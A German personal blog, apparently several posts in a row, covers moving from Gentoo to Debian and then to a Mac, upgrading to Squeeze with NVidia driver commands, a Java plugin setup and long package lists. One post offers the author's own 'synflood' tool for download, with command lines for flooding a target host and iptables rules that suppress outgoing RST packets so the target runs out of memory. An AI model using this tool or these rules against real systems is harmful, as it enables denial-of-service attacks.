Seit Jaenner 2010 hab’ ich privat fast nur Debian Linux verwendet. Jetzt hab’ ich den Umstieg auf einen iMac gewagt. Mac OS X ist von der GUI einfach viel besser und smoother zu bedienen als Linux. Nicht, dass ich am Ende noch zum Grafiker werde. ;) Unter Mac OS X braucht man sich nicht um so viele Sachen selber kuemmern als unter Linux. Wenn man erst einmal an die (anfangs komische) Mausbeschleunigung gewoehnt ist, will man gar nichts anderes verwenden.

Ich bin aber nachwievor von Open Source und Free Software ueberzeugt. Auf meine Server werde ich aber immer Debian Linux verwenden.

Frueher war ich ja auch begeisteter Gentoo Nutzer. Zumindest auf den Servern hatte ich es immer laufen. Aber als ich Gentoo dann auf meinem Home PC installieren wollte, funktionierte das nicht wirklich. Was mich dann dazu veranlasste eine richtige andere Linux-Distribution zu verwenden. Eine kurze Uebersicht der Erneuerungen gibt’s auf Serpent embrace’s Blog und natuerlich auch auf gentoo.org. Ich muesste jetzt direkt einmal ausprobieren, ob sich die neueste Version von Gentoo auf meinem PC installieren laesst. Bei den ersten 17 Versuchen scheiterte es ja daran, dass Gentoo meine beiden Bildschirme nicht erkannte. Bzw. dass sich X nicht richtig starten liess.

Es gibt natuerlich auch einige Vorteile bei Gentoo. Der Package-Manager ist sehr ausgereift. Dagegen kann man nichts sagen. Und auch, dass alles selber kompiliert werden muss hat einige gute Vorteile. Gentoo ist sehr gut fuer den Einstieg in die Linux Welt. Bei der Installation muss man naemlich alles selber machen. Im Gegensatz zu Distributionen wie Debian oder Ubuntu, bei denen die Installation schon sehr vieles automatisch macht. Wie zum Beispiel Partitionen anlegen, Swap einrichten, Kernel installieren, Mountpunkte anlegen oder fstab einrichten.

Zu lange mussten wir warten, aber heute ist es soweit. Auch ich habe gleich ein Upgrade gemacht. How to upgrade Debian Lenny to Squeeze hat mir dabei sehr geholfen. Vorher sollte man jedoch mit dem Single User Mode booten. Ausserdem war dann noch ein NVidia Treiber Update notwendig. Der Treiber musste mit einer speziellen Version von GCC kompiliert werden. Mit der Option -k musste eine spezielle Kernelversion angeben werden. Erst dann hat es wirklich funktioniert.

export CC=/usr/bin/gcc-4.3
./NVIDIA-Linux-x86-260.19.36.run -a -k $(uname -r)

Desweiteren habe ich in /etc/modprobe.d/blacklist.conf folgende Module deaktiviert: rivafb, nvidiafb, nouveau. Mit den Apt-Modulen nvidia-kernel-common und nvidia-glx haette es zwar auch funktioniert, aber irgendwie wollten dann bestimmte Programme nicht. Also hab’ ich mich fuer den aktuellsten NVidia Treiber entschlossen. Bis ich dann schliesslich wieder ein GUI – sprich KDE – hatte vergingen 4 Stunden.

Die neue KDE ist noch etwas gewoehnungsbeduerftig. Ausserdem funktionieren noch nicht alle Programme wie sie sollen. losetup beispielsweise benoetigt erst ein Kernel Modul fuer die AES Verschluesselung, das man selber kompilieren muss. Bis ich alles wieder so eingerichtet habe werden warscheinlich ein paar Wochen vergehen. Es heisst zwar immer Never touch a running system, aber Debian 6.0 ist einfach ein must-have.

Der Name fuer Version 7.0 steht auch schon fest: Wheezy.

Weblinks

• Debian Linux
• Squeeze Releasenotes
• How to upgrade Debian Lenny to Squeeze

Ein Jahr voller Free Software, Open Source Software, 1 Jahr voller Freiheiten alles zu veraendern. Aber es ist nicht zu Ende. Ich bin von Debian noch immer genau so ueberzeugt wie vor einem Jahr. Vorallem Squeeze wird spannend. Der Artikel Debian GNU/Linux 5.0.3 wird von mir von Zeit zu Zeit mit hilfreicher Software upgedatet, die auf keiner Debian Installation fehlen sollte.

Es ist nie zu spaet um von Windows auf Linux umzusteigen.

Happy new year 2011!

Damit habe ich schon mehrmals mein Mac Book Pro zum Abstuerzen gebracht. Haette mir nicht gedacht, dass Mac OS X so anfaellig dafuer ist. Dabei ist mein synflood noch relativ einfach. Der 5 Jahre alte PC mit Debian oben hat natuerlich nichts gespuert. Eigentlich muesste es doch umgekehrt sein, oder? An meiner Homepage kann ich das Tool gar nicht ausprobieren, da das Modem bei jedem Versuch abstuerzt.

Mit folgendem Befehl kann man eine Attacke starten (es wird libnet1 benoetigt):

./synflood SRC DST DPT [CONNECTIONS]

Z. B.

./synflood 192.168.241.31 192.168.1.3 80

./synflood 192.168.241.31 192.168.1.3 80 1000

Das letzte Argument ist optional die Anzahl der Verbindungen. Wenn diese nicht uebergeben wird, rennt das Programm endlos. Das heisst irgendwann muss es mit Strg-C abgebrochen werden.

Es ist empfehlenswert die Firewall so zu konfigurieren, dass das Betriebssystem keine Reset-Pakete (RST) weg schickt. Bei jedem neuen Paket, schickt das Betriebssystem (zumindest Linux) ein Reset Paket fuer das vorherige. Wenn dieses Reset Paket jedoch weggelassen wird, bekommt das Zielsystem nie eine Antwort und kommt somit irgendwann ins Out-of-memory.

Hier 2 Zeilen fuer iptables:

iptables -I OUTPUT -p tcp --dport 80 --tcp-flags RST RST -j DROP
iptables -I OUTPUT -p tcp --dport 80 --tcp-flags RST ACK -j DROP

Version 1 ist noch mit libnet0.

Benoetigte Libraries

• libnet1 (libnet1-dev)

Download

• synflood

Gestern, um ca. 10.00 Uhr wurde FOX21.at das letzte Mal auf einem Gentoo System ausgeliefert. Die Downtime fiehl ziemlich gering aus. Bei der letzten Neuinstallation meines Servers war meine Seite ein paar Tage offline. Jetzt laeuft mein Server mit Debian Linux. DNS-, MySQL- und Apache-Server (wie man sieht) funktionieren wieder. Jetzt fehlen noch IMAP-Server, Spam-Schutz und ein paar Subdomains. Ausserdem meine anderen Seiten md5sum.org und perljunkie.at.

Da jetzt alle meine Server auf Debian rennen bleibt mir nur noch eines zu sagen/schreiben:

R.I.P. Gentoo Linux

Installation

1. Zuerst muss das JRE der Java SE installiert werden. In diesem Zuge habe ich auch gleich die neueste Version des Java Runtime Environment heruntergeladen und verwendet.
2. Unter Debian Lenny ist der globale Plugin-Ordner unter /usr/lib/mozilla/plugins.
3. Da ich das JRE unter /usr/local/lib/jre1.6.0_18 installiert habe, muss man diesen Pfad eventuell selber anpassen. Als root erstellt man im Plugin-Ordner (2) eine symbolische Verknuepfung:

   ln -s /usr/local/lib/jre1.6.0_18/lib/i386/libnpjp2.so

4. Danach muss Firefox neugestartet werden.
5. Wenn alles hingehaut hat, sollte das neue Plugin in der Liste erscheinen.

Ich hab’s endlich geschafft auf meinem Home-PC Linux zum Rennen zu bringen. Debian Linux um genauer zu sein. Das Betriebssystem schlecht hin. Eigentlich wollte ich Gentoo Linux. Aber damit gab es immer wieder Probleme. Zuerst wollte Gentoo eine Partition der SATA Festplatte nicht erkennen, wenn man es von der Festplatte gestartet hat. Die AMD64-Version, die auch fuer Intel 64-Bit geeignet sein soll, bootet zwar von einer Live-CD, aber die Festplatte wird auch nicht erkannt. Als dann endlich die x86-Version von der Festplatte gebootet hat, wollte die grafische Oberflaeche X11 nicht so richtig. Staendig nur Fehler, nichts funktioniert auf Anhieb mit Gentoo.

Ganz anders lief es dann mit Debian ab. Mit Nero hab’ ich zuerst eine Boot CD erstellt. Diese wollte jedoch auch nicht. Aber mit ImgBurn ging es dann. Die einfachsten Dinge sind meistens dann doch die Besten. Als dann doch Debian von der CD gebootet hat, ging alles ziemlich schnell und einfach. Ein paar Eingaben, Klicks und fertig war die Debian-Installation. Sogar X11/KDE funktionierte gleich beim ersten Mal. Unglaublich aber wahr. Bevor ich jedoch komplett umsteige, muss ich mich erst daran gewoehnen. Vielleicht findet sich ja doch noch ein Grund warum ich nicht auf Linux umsteigen sollte. Schliesslich sind viele Programme nicht Linux tauglich. GenoPro, um nur eines zu nennen. Wegen einem Programm werd’ ich jedoch nicht bei Windows bleiben. Hier also eine – noch – sehr kleine Liste mit Programmen, die unter Linux nicht funktionieren:

• GenoPro (Loesung: Wine benoetigt die Datei mfc42.dll im gleichen Verzeichniss.)
• Adobe AIR (Loesung: Ein Encrypted Local Storage wird benoetigt.)
• TweetDeck (benoetigt Adobe AIR)
• TV-Browser (Loesung: Das original Java SE JRE muss installiert werden.)
• Password Safe funktioniert nur in Zusammenhang mit Wine

Ich hoffe es laesst sich fuer jedes Programm ein Ersatz finden. Fuer GenoPro aber wohl kaum. Ein erster guter Ansatz dafuer ist Die Linux-Liste – Tabelle mit Entsprechungen/Ersatz/Ähnlichkeiten von Windows-Software gegenüber Linux. Meine Liste ist warscheinlich desswegen nur so klein, weil ich auch unter Windows schon sehr viele Open Source-Programme und freie Software verwende. Da waeren zum Beispiel Perl, Firefox und Thunderbird, OpenOffice, VLC Player, TV-Browser, GnuPG oder Password Safe. Ein guter Grund, der auch fuer Linux spricht ist die Firewall. Alleine desswegen lohnt es sich schon auf Linux umzusteigen. Ausserdem sind 99,9% alle Computer-Viren fuer Windows geschrieben.

Ich hab’ 2 Monitore an meinem PC angehaengt. Standardmaessig wird durch X11 nur einer erkannt. Ich hab’ es dann aber doch geschafft, beide Monitore zum Rennen zu bringen. Das Problem, das ich auch vor Jahren bei Gentoo hatte war folgendes: entweder beide Monitore als ein grosser Screen oder jeder Monitor als einzel Screen. Wenn beide Monitore ein grosser Screen sind und man macht ein Fenster fullscreen, dann geht es ueber beide Monitore. Beim Filmschauen stoert das. Andersrum, wenn beide Monitore jeweils einen einzel Screen haben, kann man ein Fenster nicht von einem Monitor auf den anderen schieben. Man muss sich vor dem Starten eines Programmes entscheiden auf welchen Monitor man das Fenster haben will. Ein Teufelskreis. Mit dieser Konfiguration http://pub.fox21.at/conf/xorg_20100102.conf ist es aber genau so wie bei Windows. Es kann ein Fenster von Monitor zu Monitor verschoben werden und es geht ein Fenster nicht ueber beide Monitore, wenn man dieses fullscreen macht. Diese Konfiguration ist fuer nVidia gedacht. Es muss also der nVidia Treiber installiert werden.

In diesem Sinne – Live free or die.

Configuration

• /etc/apt/sources.list: deb http://ftp.at.debian.org/debian/ lenny main contrib
• X11: http://pub.fox21.at/conf/xorg_20100102.conf
• Fonts: ttf-mscorefonts-installer
• Display Treiber: nVidia
• /etc/sysctl.conf: net.ipv4.conf.all.arp_ignore = 1 [1] [2]

Installierte Pakete

• build-essential
• linux-source-2.6.26
• swfdec-mozilla
• ttf-mscorefonts-installer
• amarok
• mplayer
• smplayer
• digikam
• dvd+rw-tools
• k3b

Server Programme (auch fuer Desktop-Installation)

• less
• vim
• sudo
• nmap
• screen
• cfv
• zip
• gzip
• tar
• rar (contrib non-free)
• rsync
• snmp
• snmpd
• mrtg
• ntp
• dnsutils
• whois
• locate
• htop
• git-core
• subversion

Optional

• collectd
• netbeans-ide
• ntfsprogs
• xvnc4viewer
• virtualbox
• pacman
• xpilot-ng
• supertux
• enigma aka oxyd (Atari ST)
• pingus aka Lemmings
• clamav
• kvpnc
• openvpn
• vtun
• uuid-dev (Wird fuer das Kompilieren von PasswordSafe benoetigt)
• php-pear
• php5-cli
• php5-dev
• php5-mysql
• php-openid
• libssl-dev
• libssh2-1-dev
• libssh-2
• libssh-2-dev
• libssl0.9.8
• libcurl4-gnutls-dev
• libnet-ssh-perl
• libgnupg-perl
• libcrypt-rijndael-perl
• libcurses-perl
• libcurses-ui-perl
• libxml-libxml-perl
• libproc-pid-file-perl
• libfilesys-diskspace-perl
• libfile-read-perl
• libfile-slurp-perl
• libgtk2.0-dev
• libgtk2.0-common
• libglade2-0
• libglade2-dev
• libxmu-dev
• libqt4-dbg
• libreadline5-dev
• keepassx
• xconq
• xclip
• cmake
• kdelibs5-dev
• ncurses-dev
• filezilla
• pidgin
• nasm
• qemu
• bridge-utils
• wireshark
• mozilla-mplayer
• imagemagick
• eclipse-jdt
• python2.5-dev
• gphotofs
• squid
• samba
• nagios
• nagios-plugins
• beep

Weblinks

• FOX21.at: 10 Gruende warum man Linux verwenden sollte
• Debian Linux
• Gentoo Linux
• ImgBurn
• Die Linux-Liste
• Filesystem Hierarchy Standard
• Debian Reference – Netzwerk-Konfiguration
• Using arp announce/arp ignore to disable ARP